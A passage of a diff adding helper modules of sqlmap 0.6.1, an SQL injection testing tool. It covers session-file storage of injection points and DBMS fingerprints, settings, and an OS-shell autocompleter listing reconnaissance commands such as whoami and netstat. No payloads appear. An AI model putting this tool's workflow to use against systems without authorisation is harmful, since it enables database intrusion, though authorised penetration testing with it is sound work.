$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
|
||||
|
||||
class ProgressBar:
|
||||
"""
|
||||
This class defines methods to update and draw a progress bar
|
||||
"""
|
||||
|
||||
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
||||
self.__progBar = "[]"
|
||||
self.__oldProgBar = ""
|
||||
self.__min = minValue
|
||||
self.__max = maxValue
|
||||
self.__span = maxValue - minValue
|
||||
self.__width = totalWidth
|
||||
self.__amount = 0
|
||||
self.update()
|
||||
|
||||
|
||||
def __convertSeconds(self, value):
|
||||
seconds = value
|
||||
minutes = seconds / 60
|
||||
seconds = seconds - (minutes * 60)
|
||||
|
||||
return "%.2d:%.2d" % (minutes, seconds)
|
||||
|
||||
|
||||
def update(self, newAmount=0):
|
||||
"""
|
||||
This method updates the progress bar
|
||||
"""
|
||||
|
||||
if newAmount < self.__min:
|
||||
newAmount = self.__min
|
||||
elif newAmount > self.__max:
|
||||
newAmount = self.__max
|
||||
|
||||
self.__amount = newAmount
|
||||
|
||||
# Figure out the new percent done, round to an integer
|
||||
diffFromMin = float(self.__amount - self.__min)
|
||||
percentDone = (diffFromMin / float(self.__span)) * 100.0
|
||||
percentDone = round(percentDone)
|
||||
percentDone = int(percentDone)
|
||||
|
||||
# Figure out how many hash bars the percentage should be
|
||||
allFull = self.__width - 2
|
||||
numHashes = (percentDone / 100.0) * allFull
|
||||
numHashes = int(round(numHashes))
|
||||
|
||||
# Build a progress bar with an arrow of equal signs
|
||||
if numHashes == 0:
|
||||
self.__progBar = "[>%s]" % (" " * (allFull - 1))
|
||||
elif numHashes == allFull:
|
||||
self.__progBar = "[%s]" % ("=" * allFull)
|
||||
else:
|
||||
self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
|
||||
" " * (allFull - numHashes))
|
||||
|
||||
# Add the percentage at the beginning of the progress bar
|
||||
percentString = str(percentDone) + "%"
|
||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||
|
||||
|
||||
def draw(self, eta=0):
|
||||
"""
|
||||
This method draws the progress bar if it has changed
|
||||
"""
|
||||
|
||||
if self.__progBar != self.__oldProgBar:
|
||||
self.__oldProgBar = self.__progBar
|
||||
|
||||
if eta and self.__amount < self.__max:
|
||||
dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
|
||||
else:
|
||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
This method returns the progress bar string
|
||||
"""
|
||||
|
||||
return str(self.__progBar)
|
94
lib/core/readlineng.py
Normal file
94
lib/core/readlineng.py
Normal file
|
@ -0,0 +1,94 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Based on IPython readline library (IPython/rlineimpl.py), imports and
|
||||
provides the "correct" version of readline for the platform.
|
||||
In addition to normal readline stuff, this module provides haveReadline
|
||||
boolean and _outputfile variable used in genutils.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
try:
|
||||
from pyreadline import *
|
||||
import pyreadline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if sys.platform == 'win32' and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
debugMsg = "Failed GetOutputFile when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
haveReadline = False
|
||||
|
||||
# Test to see if libedit is being used instead of GNU readline.
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if sys.platform == 'darwin' and haveReadline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
|
||||
if status == 0 and len(result) > 0:
|
||||
# We are bound to libedit - new in Leopard
|
||||
_rl.parse_and_bind("bind ^I rl_complete")
|
||||
|
||||
debugMsg = "Leopard libedit detected when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uses_libedit = True
|
||||
|
||||
|
||||
# the clear_history() function was only introduced in Python 2.4 and is
|
||||
# actually optional in the readline API, so we must explicitly check for its
|
||||
# existence. Some known platforms actually don't have it. This thread:
|
||||
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
|
||||
# has the original discussion.
|
||||
if haveReadline:
|
||||
try:
|
||||
_rl.clear_history
|
||||
except AttributeError:
|
||||
def clear_history():
|
||||
pass
|
||||
|
||||
_rl.clear_history = clear_history
|
282
lib/core/session.py
Normal file
282
lib/core/session.py
Normal file
|
@ -0,0 +1,282 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: session.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("String") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
session file.
|
||||
"""
|
||||
|
||||
if kb.injPlace == "User-Agent":
|
||||
kb.injParameter = conf.agent
|
||||
|
||||
condition = (
|
||||
kb.injPlace and kb.injParameter and
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Injection point")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection type")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
|
||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||
|
||||
|
||||
def setParenthesis(parenthesisCount):
|
||||
"""
|
||||
@param parenthesisCount: number of parenthesis to be set into the
|
||||
knowledge base as fingerprint.
|
||||
@type parenthesisCount: C{int}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Parenthesis") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
|
||||
|
||||
kb.parenthesis = parenthesisCount
|
||||
|
||||
|
||||
def setDbms(dbms):
|
||||
"""
|
||||
@param dbms: database management system to be set into the knowledge
|
||||
base as fingerprint.
|
||||
@type dbms: C{str}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DBMS") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
|
||||
kb.dbms = dbms
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
@type comment: C{str}
|
||||
|
||||
@param count: union count to save in session file
|
||||
@type count: C{str}
|
||||
|
||||
@param position: union position to save in session file
|
||||
@type position: C{str}
|
||||
"""
|
||||
|
||||
if comment and count:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union comment")
|
||||
or not kb.resumedQueries[conf.url].has_key("Union count")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
|
||||
dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
|
||||
|
||||
kb.unionComment = comment
|
||||
kb.unionCount = count
|
||||
|
||||
elif position:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union position")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
|
||||
|
||||
kb.unionPosition = position
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
|
||||
logMsg = "resuming string match '%s' from session file" % string
|
||||
logger.info(logMsg)
|
||||
|
||||
if string and ( not conf.string or string != conf.string ):
|
||||
if not conf.string:
|
||||
message = "you did not provide any string to match. "
|
||||
else:
|
||||
message = "The string you provided does not match "
|
||||
message += "the resumed string. "
|
||||
|
||||
message += "Do you want to use the resumed string "
|
||||
message += "to be matched in page when the query "
|
||||
message += "is valid? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.string = string
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
logMsg = "resuming injection point '%s' from session file" % injPlace
|
||||
logger.info(logMsg)
|
||||
|
||||
if not conf.paramDict.has_key(injPlace):
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection point. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injPlace = injPlace
|
||||
|
||||
elif expression == "Injection parameter" and url == conf.url:
|
||||
injParameter = value[:-1]
|
||||
|
||||
logMsg = "resuming injection parameter '%s' from session file" % injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
condition = (
|
||||
not conf.paramDict.has_key(kb.injPlace) or
|
||||
not conf.paramDict[kb.injPlace].has_key(injParameter)
|
||||
)
|
||||
|
||||
if condition:
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection parameter. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injParameter = injParameter
|
||||
|
||||
elif expression == "Injection type" and url == conf.url:
|
||||
kb.injType = value[:-1]
|
||||
|
||||
logMsg = "resuming injection type '%s' from session file" % kb.injType
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Parenthesis" and url == conf.url:
|
||||
kb.parenthesis = int(value[:-1])
|
||||
|
||||
logMsg = "resuming %d number of " % kb.parenthesis
|
||||
logMsg += "parenthesis from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DBMS" and url == conf.url:
|
||||
dbms = value[:-1]
|
||||
|
||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
dbms = dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
message += "but from a past scan information on the target URL "
|
||||
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
|
||||
message += "Do you really want to force the back-end "
|
||||
message += "DBMS value? [y/N] "
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.dbms = dbms
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
|
||||
elif expression == "Union comment" and url == conf.url:
|
||||
kb.unionComment = value[:-1]
|
||||
|
||||
logMsg = "resuming union comment "
|
||||
logMsg += "'%s' from session file" % kb.unionComment
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union count" and url == conf.url:
|
||||
kb.unionCount = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union count "
|
||||
logMsg += "%s from session file" % kb.unionCount
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union position" and url == conf.url:
|
||||
kb.unionPosition = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union position "
|
||||
logMsg += "%s from session file" % kb.unionPosition
|
||||
logger.info(logMsg)
|
66
lib/core/settings.py
Normal file
66
lib/core/settings.py
Normal file
|
@ -0,0 +1,66 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
# sqlmap logger
|
||||
logging.addLevelName(9, "TRAFFIC OUT")
|
||||
logging.addLevelName(8, "TRAFFIC IN")
|
||||
LOGGER = logging.getLogger("sqlmapLog")
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||
|
||||
LOGGER_HANDLER.setFormatter(FORMATTER)
|
||||
LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
# Url to update sqlmap from
|
||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" )
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
103
lib/core/shell.py
Normal file
103
lib/core/shell.py
Normal file
|
@ -0,0 +1,103 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import atexit
|
||||
import os
|
||||
import rlcompleter
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
|
||||
|
||||
def saveHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
readline.write_history_file(historyPath)
|
||||
|
||||
|
||||
def loadHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
|
||||
if os.path.exists(historyPath):
|
||||
readline.read_history_file(historyPath)
|
||||
|
||||
|
||||
def queriesForAutoCompletion():
|
||||
autoComplQueries = {}
|
||||
|
||||
for _, query in queries[kb.dbms].items():
|
||||
if isinstance(query, str) and len(query) > 1:
|
||||
autoComplQuery = query
|
||||
elif isinstance(query, dict) and "inband" in query:
|
||||
autoComplQuery = query["inband"]["query"]
|
||||
|
||||
autoComplQueries[autoComplQuery] = None
|
||||
|
||||
return autoComplQueries
|
||||
|
||||
|
||||
class CompleterNG(rlcompleter.Completer):
|
||||
def global_matches(self, text):
|
||||
"""
|
||||
Compute matches when text is a simple name.
|
||||
Return a list of all names currently defined in self.namespace
|
||||
that match.
|
||||
"""
|
||||
|
||||
matches = []
|
||||
n = len(text)
|
||||
|
||||
for list in [ self.namespace ]:
|
||||
for word in list:
|
||||
if word[:n] == text:
|
||||
matches.append(word)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def autoCompletion(sqlShell=False, osShell=False):
|
||||
# First of all we check if the readline is available, by default
|
||||
# it is not in Python default installation on Windows
|
||||
if not readline.haveReadline:
|
||||
return
|
||||
|
||||
if sqlShell:
|
||||
completer = CompleterNG(queriesForAutoCompletion())
|
||||
elif osShell:
|
||||
# TODO: add more operating system commands; differentiate commands
|
||||
# based on future operating system fingerprint
|
||||
completer = CompleterNG({
|
||||
"id": None, "ifconfig": None, "ls": None,
|
||||
"netstat -natu": None, "pwd": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
||||
loadHistory()
|
||||
atexit.register(saveHistory)
|
218
lib/core/target.py
Normal file
218
lib/core/target.py
Normal file
|
@ -0,0 +1,218 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: target.py 294 2008-07-28 23:30:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import resumeConfKb
|
||||
|
||||
|
||||
def __setRequestParams():
|
||||
"""
|
||||
Check and set the parameters and perform checks on 'data' option for
|
||||
HTTP method POST.
|
||||
"""
|
||||
|
||||
__testableParameters = False
|
||||
|
||||
# Perform checks on GET parameters
|
||||
if conf.parameters.has_key("GET") and conf.parameters["GET"]:
|
||||
parameters = conf.parameters["GET"]
|
||||
__paramDict = paramToDict("GET", parameters)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["GET"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on POST parameters
|
||||
if conf.method == "POST" and not conf.data:
|
||||
errMsg = "HTTP POST method depends on HTTP data value to be posted"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
if conf.data:
|
||||
conf.parameters["POST"] = conf.data
|
||||
__paramDict = paramToDict("POST", conf.data)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["POST"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on Cookie parameters
|
||||
if conf.cookie:
|
||||
conf.parameters["Cookie"] = conf.cookie
|
||||
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on User-Agent header value
|
||||
if conf.httpHeaders:
|
||||
for httpHeader, headerValue in conf.httpHeaders:
|
||||
if httpHeader == "User-Agent":
|
||||
conf.parameters["User-Agent"] = headerValue
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= "User-Agent" in conf.testParameter
|
||||
condition |= "user-agent" in conf.testParameter
|
||||
condition |= "useragent" in conf.testParameter
|
||||
condition |= "ua" in conf.testParameter
|
||||
|
||||
if condition:
|
||||
conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
|
||||
__testableParameters = True
|
||||
|
||||
if not conf.parameters:
|
||||
errMsg = "you did not provide any GET, POST and Cookie "
|
||||
errMsg += "parameter, neither an User-Agent header"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
elif not __testableParameters:
|
||||
errMsg = "all testable parameters you provided are not present "
|
||||
errMsg += "within the GET, POST and Cookie parameters"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setOutputResume():
|
||||
"""
|
||||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
for line in lines:
|
||||
if line.count("][") == 4:
|
||||
line = line.split("][")
|
||||
|
||||
if len(line) != 5:
|
||||
continue
|
||||
|
||||
url, _, _, expression, value = line
|
||||
|
||||
if not value:
|
||||
continue
|
||||
|
||||
if url[0] == "[":
|
||||
url = url[1:]
|
||||
|
||||
if value[-1] == "\n":
|
||||
value = value[:-1]
|
||||
|
||||
if url != conf.url:
|
||||
continue
|
||||
|
||||
if url not in kb.resumedQueries.keys():
|
||||
kb.resumedQueries[url] = {}
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
resumeConfKb(expression, url, value)
|
||||
|
||||
if expression not in kb.resumedQueries[url].keys():
|
||||
kb.resumedQueries[url][expression] = value
|
||||
elif len(value) >= len(kb.resumedQueries[url][expression]):
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __createFilesDir():
|
||||
"""
|
||||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not conf.rFile:
|
||||
return
|
||||
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.filePath):
|
||||
os.makedirs(conf.filePath, 0755)
|
||||
|
||||
|
||||
def __createDumpDir():
|
||||
"""
|
||||
Create the dump directory.
|
||||
"""
|
||||
|
||||
if not conf.dumpTable and not conf.dumpAll:
|
||||
return
|
||||
|
||||
conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
Initialize target environment.
